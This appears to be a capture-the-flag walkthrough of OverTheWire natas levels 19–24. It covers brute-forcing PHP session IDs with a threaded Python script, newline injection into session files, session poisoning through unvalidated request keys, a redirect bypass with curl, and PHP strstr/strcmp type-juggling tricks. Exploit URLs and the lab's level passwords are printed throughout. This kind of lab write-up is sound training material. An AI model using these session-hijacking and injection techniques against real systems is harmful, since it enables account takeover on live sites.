Part 4 of the natas OverTheWireChallenges, this post covers solutions for levels 19 through 24.
- Part 1 can be found here
- Part 2 can be found here
- Part 3 can be found here
natas19
Starting this off by going to: http://natas19.natas.labs.overthewire.org/
Login info is:
1
2
|
User: natas19
Pass: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
|
The only hint this time around is that the code uses largely the same code as the previous challenge, except that the “session IDs are not longer sequential” (and happen to be extremely large values, too large to just brute force 0 to n).
One of the important things to note now, there’s no longer a view source button. Seems the difficult has ramped up quite a bit here, so it’ll be time to leverage everything learned from the first 19 challenge sto try and solve this.
Putting in admin:aa
, greeted with a “log in as admin for password”. Using the DevTools the traffic doesn’t show anything out of the ordinary or something that could possibly be used to get past this challenge. Next stop is the cookies, just like the previous challenge the PHPSESSID
is saved in the cookies.
Trying some quick combinations of different username:password
combinations and then looking at the PHPSESSID
:
1
2
3
4
5
6
7
8
|
A:a = 3532322d41
A:a = 3231362d41
A:a = 3239372d41
A:a = 3631332d41
A:b = 3538342d41
AA:a =3136372d4141
b:a = 3535302d62
b:b = 3130322d62
|
Something interesting here is that it looks like the username is tacked on the end after converting to ASCII (A
= 0x41
, b
= 0x62
). This can be confirmed with a bunch of A’s:
1
|
AAAAAAAA: 3136372d4141414141414141
|
Now to determine what the 2d
as it precedes all of the usernames regardless of what the input seems to be. A quick look in the ASCII table, show’s that 2D is a “hyphen”, -
.
So far we know:
<Unknown>-<username>
Now to figure out the last of the unknowns, grabbing a bunch of data:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
3439362d4141414141414141
3436312d4141414141414141
3231302d4141414141414141
3334312d4141414141414141
3332372d4141414141414141
3532392d4141414141414141
35392d4141414141414141
3633382d4141414141414141
3335332d4141414141414141
3438372d4141414141414141
3533372d4141414141414141
3332312d4141414141414141
3136382d4141414141414141
38322d4141414141414141
3533322d41
3437342d41
|
At this point it’s obvious collecting this data by hand isn’t the best way to do something a computer can do significantly faster. So some real quick and dirty python will grab a whole bunch of data:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
import requests
from concurrent.futures import ThreadPoolExecutor
URL = "http://natas19.natas.labs.overthewire.org/index.php?debug"
USER = "natas19"
PASSW = "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs"
NUM_ITERATIONS = 200
POOL = ThreadPoolExecutor(max_workers=4)
def build_requests():
req = []
for i in range(1,NUM_ITERATIONS):
params = {"username": "A", "password": "a"}
auth = (USER, PASSW)
req.append({"auth": auth, "params": params})
return req
def request_sessions(req):
res = requests.get(url=URL, auth=req["auth"],
params=req["params"])
return res
def main():
urls = build_requests()
res = POOL.map(request_sessions, urls)
cookies = []
for r in res:
cookie = requests.utils.dict_from_cookiejar(r.cookies)['PHPSESSID']
# Separate everything into two chunks knowing that 2d is a separator
head = cookie.partition('2d')[0]
cookies.append(int(head))
for c in cookies:
# Break the output up into chunks of two characters at a time
print([str(c)[i:i+2] for i in range(0, len(str(c)), 2)])
if __name__ == "__main__":
main()
|
Which results in the following output:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
['31', '30', '34']
['31', '31', '35']
['31', '31', '36']
['31', '31', '38']
['31', '32', '33']
['31', '32', '34']
['31', '32', '34']
['31', '32', '39']
['31', '32', '39']
['31', '33', '38']
['31', '34', '39']
['31', '35', '30']
['31', '35', '34']
|
So it seems that the data is always a number that starts with 3
. Well since the username was just the hexadecimal representation of the username, it’s likely these also correspond to some sort of ASCII value. Looking at the ASCII table again, it looks like this corresponds to 0-9.
So the ID the ASCII representation of the following:
<num><num><num>-<username>
Which means we’ve got 0 to 999 possible session IDs to work though. Sounds like a perfect case to use the parallelized version of natas18
's python script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
import requests
from concurrent.futures import ThreadPoolExecutor
URL = "http://natas19.natas.labs.overthewire.org/index.php?debug"
USER = "natas19"
PASSW = "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs"
NUM_ITERATIONS = 999
POOL = ThreadPoolExecutor(max_workers=4)
def build_requests():
req = []
admin_tag = ''.join(['%x' % ord(c) for c in '-admin'])
for i in range(1, NUM_ITERATIONS):
id = ''.join(['%x' % ord((str(i)[j:j+1])) for j in range(0, len(str(i)), 1)])
params = {"username": "admin", "password": "a"}
cookies = {"PHPSESSID": id + admin_tag}
auth = (USER, PASSW)
req.append({"auth": auth, "cookies": cookies, "params": params})
return req
def request_sessions(req):
res = requests.get(url=URL, auth=req["auth"],
cookies=req["cookies"], params=req["params"])
return res
def main():
urls = build_requests()
print(urls)
res = POOL.map(request_sessions, urls)
for r in res:
if "You are an admin." in r.text:
print(r.text)
if __name__ == "__main__":
main()
|
And here we have our admin session:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas19", "pass": "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs" };</script></head>
<body>
<h1>natas19</h1>
<div id="content">
<p>
<b>
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>
DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF</pre></div>
</body>
</html>
|
1
|
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
|
natas20
Starting this off by going to: http://natas20.natas.labs.overthewire.org/
Login info is:
1
2
|
User: natas20
Pass: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
|
The view source button is back, and this time we seem to be able to change our name. The goal once again is to log in as an admin to get to the next level.
Starting with the source to the problem:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
|
<?
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
/* }}} */
/* we don't need this */
function myopen($path, $name) {
//debug("MYOPEN $path $name");
return true;
}
/* we don't need this */
function myclose() {
//debug("MYCLOSE");
return true;
}
function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}
/* we don't need this */
function mydestroy($sid) {
//debug("MYDESTROY $sid");
return true;
}
/* we don't need this */
function mygarbage($t) {
//debug("MYGARBAGE $t");
return true;
}
session_set_save_handler(
"myopen",
"myclose",
"myread",
"mywrite",
"mydestroy",
"mygarbage");
session_start();
if(array_key_exists("name", $_REQUEST)) {
$_SESSION["name"] = $_REQUEST["name"];
debug("Name set to " . $_REQUEST["name"]);
}
print_credentials();
$name = "";
if(array_key_exists("name", $_SESSION)) {
$name = $_SESSION["name"];
}
?>
|
The debug exists, so giving that a quick go again with a login of abc
:
1
2
3
4
5
6
|
DEBUG: MYREAD s4q08titul4mao373o05p2jml0
DEBUG: Reading from /var/lib/php5/sessions//mysess_s4q08titul4mao373o05p2jml0
DEBUG: Read [name abc]
DEBUG: Read []
DEBUG: Name set to abc1
You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.
|
And then trying again with a random name:
1
2
3
4
|
DEBUG: MYREAD l3fsfsetg1t7smqes25nt2h816
DEBUG: Session file doesn't exist
DEBUG: Name set to abcaaa
You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.
|
Ultimately the goal here is to get $_SESSION["admin"] == 1
:
1
2
3
4
5
6
7
8
9
|
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
|
So there are two scenarios. One when logging in with an existing account and session the name is updated, and the second when logging in with an account that doesn’t exist a new session is created.
Another thing to note is how the myread
function works:
1
2
3
4
5
6
7
8
9
10
|
function myread($sid) {
...
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "")
$_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}
|
This function will read in line by line and then store that into $_SESSION
. So getting $_SESSION['admin'] = 1
to be read in during the line reading seems to be the trick for this level.
Taking a look at the mywrite
function:
1
2
3
4
5
6
7
8
9
|
function mywrite($sid, $data) {
…
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}
|
It just turns the key and value from the $_SESSION
into a line in a file, which is then read line by line and put into the $_SESSION
.
Putting that together, getting the mywrite
function to output the following should get the password for the next level:
The following URL should do the trick, which is abusing that the url encoding for a new line is %0A
(line feed):
1
|
http://natas20.natas.labs.overthewire.org/index.php?debug&name=admin%0Aadmin%201
|
And the password:
1
2
|
You are an admin. The credentials for the next level are:
Username: natas21
|
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
natas21
Starting this off by going to: http://natas21.natas.labs.overthewire.org/
Login info is:
1
2
|
User: natas21
Pass: IFekPyrQXftziDEsUr3x21sYuahypdgJ
|
It seems that this level is centered around a type of CSS injection. There’s an extra link to look over now:
1
|
http://natas21-experimenter.natas.labs.overthewire.org/index.php
|
This page presents 3 CSS tags and the ability to view the source. Looking at the source the interesting bits are here:
1
2
3
4
5
6
7
|
session_start();
// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}
|
The exploit here is simple, there’s no validation on the input from the request and all of the CSS values are stored in the $_SESSION
. We just need to provide the following in addition to the regular values:
This can be accomplished with the following URL:
1
|
http://natas21-experimenter.natas.labs.overthewire.org/index.php?debug&name=admin&admin=1&align=center&fontsize=100%25&bgcolor=yellow&submit=Update
|
With this newly created PHPSESSID
cookie which encodes the admin flag, it can be used on the original site, which then provides the password:
1
2
3
|
You are an admin. The credentials for the next level are:
Username: natas22
Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
|
natas22
Starting this off by going to: http://natas22.natas.labs.overthewire.org/
Login info is:
1
2
|
User: natas22
Pass: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
|
A blank page, with only a source button, taking a look at the source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
<?
session_start();
if(array_key_exists("revelio", $_GET)) {
// only admins can reveal the password
if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
header("Location: /");
}
}
?>
<html>
<head>
<h1>natas22</h1>
<div id="content">
<?
if(array_key_exists("revelio", $_GET)) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas23\n";
print "Password: <censored></pre>";
}
?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
|
Not a lot going on here. However, seems it is still required to set $_SESSION["admin"] == 1
based on what the server wants to run when we try to load index.php
. That said looking a bit further down the code GET
request and revelio
(which is a nod to Harry Potter, for reveal]).
In other words what’s happening is the page is served up, the PHP script is then run, we aren’t logged in so we get redirected to the previous page due to the header()
function. Most modern browsers will filter out loading of the original page. However using something like curl should provide the original data, which allows us to see the password:
1
2
3
4
5
6
7
8
9
|
$ curl -u natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ http://natas22.natas.labs.overthewire.org/?revelio -v
<h1>natas22</h1>
<div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas23
Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
|
1
|
Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
|
natas23
Starting this off by going to: http://natas23.natas.labs.overthewire.org/
Login info is:
1
2
|
User: natas23
Pass: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
|
This challenge just present a “Password:” input box and a submit button. The trust “View source” button is still around which provides the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
<h1>natas23</h1>
<div id="content">
Password:
<form name="input" method="get">
<input type="text" name="passwd" size=20>
<input type="submit" value="Login">
</form>
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas24 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
|
The trick here is just exploiting the following check:
1
|
if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 ))
|
strstr is the weak point, it just looks to match anywhere in the string that was provided, even across multiple lines. The other check is if the value in passwd is > 10
. Since there’s no filtering, we can abuse the new line in order to make the input string look like:
Which gives the following url to exploit this challenge:
1
|
http://natas23.natas.labs.overthewire.org/?passwd=11%0Ailoveyou
|
And the password:
1
2
|
The credentials for the next level are:
Username: natas24 Password: OsRmXFguozKpTZZ5X14zNO43379LZveg
|
natas24
Starting this off by going to: http://natas24.natas.labs.overthewire.org/
Login info is:
1
2
|
User: natas24
Pass: OsRmXFguozKpTZZ5X14zNO43379LZveg
|
Another password login challenge. This time the code looks like:
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(!strcmp($_REQUEST["passwd"],"<censored>")){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas25 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
|
This time around the passwd
is hidden and there’s a strcmp to exploit to beat this challenge.
The trick here is to exploit the fact that there’s no type checking on the data for password. It turns out that strcmp
will return a 0 if there’s an error when comparing. An error can be introduced by forcing the object (e.g.: an array) type to be something else, aka, strcmp(object, string) = 0
. By getting strcmp
to produce a value of 0
, the not operator (!
) will then flip the 0
to a 1
allowing the check to succeed.
Putting it together:
1
2
3
|
http://natas24.natas.labs.overthewire.org/?passwd[]=%22%22
Warning: strcmp() expects parameter 1 to be string, array given in /var/www/natas/natas24/index.php on line 23
|
The credentials for the next level are:
1
|
Username: natas25 Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c
|